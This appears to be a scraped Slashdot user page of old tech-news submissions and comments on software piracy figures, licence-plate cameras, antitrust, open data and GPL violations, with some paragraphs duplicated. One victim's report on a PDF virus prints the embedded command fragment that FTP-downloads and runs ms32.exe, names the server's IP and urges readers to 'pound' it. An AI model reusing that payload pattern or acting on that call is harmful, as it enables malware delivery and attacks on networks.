Comment Birth of the Anti-Wiki? (Score 1) 323
I just don't understand how they hope to apply this in any kind of sensible way. The whole idea kind of reminds me of a wiki - turned inside out.
Submission + - BSA Admits Canadian Software Piracy Rates A Guess (michaelgeist.ca)
psema4 writes: "Following yesterdays story ("Canada's Conference Board Found Plagiarizing Copyright Report") Michael Geist reports following up with Canadian arm of the Business Software Alliance:
"Yet what the BSA did not disclose is that the 2009 report on Canada were guesses since Canadian firms and users were not surveyed. While the study makes seemingly authoritative claims about the state of Canadian piracy, the reality is that IDC, which conducts the study for BSA, did not bother to survey in Canada. After learning that Sweden was also not surveyed, I asked the Canadian BSA media contact about the approach in Canada.
Comment Additional Information (Score 4, Informative) 232
Additional information has come to light since the original posting. Some interesting blog posts from:
Submission + - Britain's Camera Grid to Log License Plates (bbc.co.uk) 1
eldavojohn writes: Within months England, Wales and Scotland residents will be subject to having their licensed plates logged automatically where ever they drive. Thousands of Automatic Number Plate Recognition cameras are already in operation. ANPR's will soon know everywhere you travel by car.
Submission + - European Microsoft anti-trust hearing cancelled
bahstid writes: The NY Times reports that Microsoft and the European Commission have canceled the only hearing planned in an antitrust investigation into the company's Internet browser because of a dispute over the attendance of European regulators serving as advisers.
As a result, the commission will reach its decision and levy a fine based on written statements from Microsoft and its adversaries.Microsoft decided against the opportunity to give oral evidence in the case after it was unable to persuade the commission to move the meeting, scheduled for June 3 through 5, so that it did not conflict with a global antitrust conference in Zurich that draws European antitrust regulators.
As a result, the commission will reach its decision and levy a fine based on written statements from Microsoft and its adversaries.Microsoft decided against the opportunity to give oral evidence in the case after it was unable to persuade the commission to move the meeting, scheduled for June 3 through 5, so that it did not conflict with a global antitrust conference in Zurich that draws European antitrust regulators.
Submission + - EU Challenged Over Open Source And Free Software (eweekeurope.co.uk)
judgecorp writes: "Microsoft's unseen monopoly over Government IT in Europe got a challenge this week as a group led by Red Hat posed a legal challenge to a Swiss Government contract that awarded Microsoft 14 million Swiss Francs (£8 millioin) a year, because there was "no sufficient alternative" to Windows and Office. This sort of thing is rife, say activists, despite Government words in favour of open source. As well as missing the benefits of open source, European governments are in danger of stifling free software. Two weeks before the European Elections, free software groups are inviting European Parliament candidates to sign a pact supporting free software."
Submission + - Vancouver embraces open data, standards and source (www.cbc.ca)
humble writes: "Vancouver city council has endorsed the principles of making its data open and accessible to everyone where possible, adopting open standards for that data and considering open source software when replacing existing applications.
"So it's great," said Andrea Reimer, the city councillor who proposed the motion that passed Thursday afternoon. "The local online community was all very, very happy, and now we just have to look forward on implementation and figuring sort of the order with which we do that."
The story from CBC including the full text of the motion after the jump."
"So it's great," said Andrea Reimer, the city councillor who proposed the motion that passed Thursday afternoon. "The local online community was all very, very happy, and now we just have to look forward on implementation and figuring sort of the order with which we do that."
The story from CBC including the full text of the motion after the jump."
Submission + - MIT Students Fight Poverty With Cellphones (mit.edu)
psema4 writes: "This just in from my LinkedIn network:
Wish I could be there to check it out. According to my LinkedIn message, it's open to the public and takes place on May 8th."
As a recent article in the New York Times reports, the rapidly spreading availability and affordability of cell phones in the developing world is transforming local economies and creating new opportunities for development. Come see how MIT students, together with 8 partner organizations in 7 developing countries, are inventing — and deploying — new ways of using mobile phones and other information and communication technologies to address some of the world's most pressing problems.
Wish I could be there to check it out. According to my LinkedIn message, it's open to the public and takes place on May 8th."
Submission + - Howto react to potential /. "abuse"
psema4 writes: "Last night a story was submitted to Slashdot about ECMAScript 4.
After hearing about the story, I passed a message along to the ES4 discussion list. From my perspective as author of a FOSS project (Atomic OS) that relies heavily on Javascript, I think Brendan Eich has quite neatly ripped into the anonymous coward. I find some of the implications a bit disconcerting.
My question comes in three parts:
After hearing about the story, I passed a message along to the ES4 discussion list. From my perspective as author of a FOSS project (Atomic OS) that relies heavily on Javascript, I think Brendan Eich has quite neatly ripped into the anonymous coward. I find some of the implications a bit disconcerting.
My question comes in three parts:
- Do Slashdotters have an opinion on the ease of 'abusing' Slashdot?
- How should one (or the community for that matter) react to the threat of 'psychological espionage' in large social sites?
- My understanding is that Wikipedia is 'self-healing,' in that there is enough volunteer involvement to detect and correct. How does Slashdot deal with this type of issue?
Comment Is this related? (Score 1) 1
http://www.gnucitizen.org/blog/0day-pdf-pwns-windows
There's a POC video listed in the comments. Some of the other comments, particularly one linking to http://security.fedora-hosting.com/0day/pdf/pdf_poc.txt that suggests it may be the same issue.
There's a POC video listed in the comments. Some of the other comments, particularly one linking to http://security.fedora-hosting.com/0day/pdf/pdf_poc.txt that suggests it may be the same issue.
Submission + - PDF virus targets Acrobat READER 1
hoggoth writes: The recent outbreak of the 'Peachy' virus showed that PDFs can carry dangerous content. All of the news outlets are repeating Adobe's statement that only the full Acrobat suite can activate the virus, that the free Acrobat Reader is immune. However as a victim of a PDF carried virus I can tell you it's not true. This morning I got an email from a financial services firm I have an account with to an email address I set up just for that financial services firm. This led me to stupidly trust the email that contained a PDF attachment. When I clicked on it a window popped up and went away; very suspicious behavior. So I looked closer at the PDF file and found that it contained a mailto: that put some DOS commandline instructions in a file and executed them, which contacted a server, downloaded an executable, and ran it.
The meat of the offending part is this:
14 0 obj7&@echo binary>>7&@echo get /ms32.exe>>7&@echo quit>>7&@ftp -s:7 -v -A>nul&@del /q 7&@start ms32.exe&\" \"&\" "con.cmd)/S/URI>>
This calls cmd.exe with a long command that turns off your firewall, FTP's into the offending site, downloads a rogue version of ms32.exe, and runs it.
The virus installed a number of files to my computer and modified the startup to run them. I *think* I got rid of it all, although one can never be sure today with rootkits and all.
I googled all over, and I think this is 'breaking news'. Every outlet is still saying Acrobat Reader is safe.
Entities to Hate:
The virus server at 203.121.69.116
Financial services institutions that sell your private email address to marketers.
Adobe for allowing PDFs to execute cmd.com.
Adobe for lying about Acrobat Reader being safe.
Microsoft for their entire insecure operating system. Come on, outside data is allowed to run and TURN OFF THE FIREWALL?!
Please feel free to pound that FTP server's IP address with all the hate you can muster.
Submission + - Google Map of Libya shows odd Circles 1
myrth writes: wandering through google maps (satellite view) i found some very odd circles (1km in diameter) out in the middle of libya. coordinates are (27.767406, 22.059860). zoom out a little and you'll see a little over a hundred of them.
most appear to be quite uniform, although a few have been seriously deformed(27.740973, 21.991625 @27.740973, 21.991625).
there are also "filled-in" circles (26.793735, 22.096596 @26.793735, 22.096596) with a radius line, looking like a very large and odd set of clocks with only one arm.
anyone have an idea what these are?
Submission + - Publishers Join Forces Against Open Access (linux.com)
Xenographic writes: "The American Association of Publishers announced the creation of the Partnership for Research Integrity in Science and Medicine. This new partnership, PRISM, will lobby against open access to scientific research on the grounds that science has less integrity when you don't have to pay outrageous fees for access to important journals. They are especially against bills like the Federal Research Public Access Act which could cause a decline in their sales numbers and an "undermining of copyright holders." Y'arr, matey."
Submission + - realtime ASCII Goggles (englishrussia.com)
Submission + - You can not reverse-engineer our GPL-violations... 6
phorm writes: "If appears that Monsoon Technology, the makers of the Hava media-transmission systems, don't quite understand the GPL. As some users pointed out in their forums, their systems appear to be based on Linux and various GPL'ed software, with the output of "strings" and other tests showing signs of running busybox and others. A monsoon spokesperson on the forum has indicated that they are aware it uses GPL'ed software, and are "working" on making source available, but at the same time are dropping various threats against supposed reverse-engineering of the software by those that determined the GPL violations.
A few snippets from the Monsoon rep include: I have a little secret to let you in on — HAVA runs Linux! Yes, much of the source is GPL and we should publish those sections which we have modified per the terms of GPL. A project is underway to pull this together. A couple of observations — some of you appear to be violating the terms of the End User License Agreement
A few snippets from the Monsoon rep include: I have a little secret to let you in on — HAVA runs Linux! Yes, much of the source is GPL and we should publish those sections which we have modified per the terms of GPL. A project is underway to pull this together. A couple of observations — some of you appear to be violating the terms of the End User License Agreement
You recognize and agree that the HAVA Software including its structure, source code and the design and structure of modules or programs, constitute valuable trade secrets owned by Snappymultimedia or its licensors. You will not copy or use the HAVA Software except as expressly permitted by this EULA and, specifically, you will not
(b) yourself or through any third party modify, reverse engineer, disassemble or decompile the HAVA Software in whole or part, except to the extent expressly permitted by applicable law, and then only after you have notified Snappymultimedia in writing of your intended activities;
Seems to me that some of you have just come out blatantly admitting you are reverse engineering the firmware — or trying to. How should we handle this?
As responses have indicated, the methods used to determine the violation do not seem to constitute reverse-engineering. Moreover, the initial friendliness of the rep is severely marred by the apparent hostility of the later message, as forum members have indicated. The overall message seems to be "we have not lived up to our obligations under the license of the software which we are using, but we'll get to it... sometime. Meanwhile, do not attempt to poke around our code yourself or things will get ugly."
The owners of BusyBox have been notified of this violation, however the response is still troubling. Is this the response we should come to expect as more and more commercial software uses and misuses GPL'ed components?"
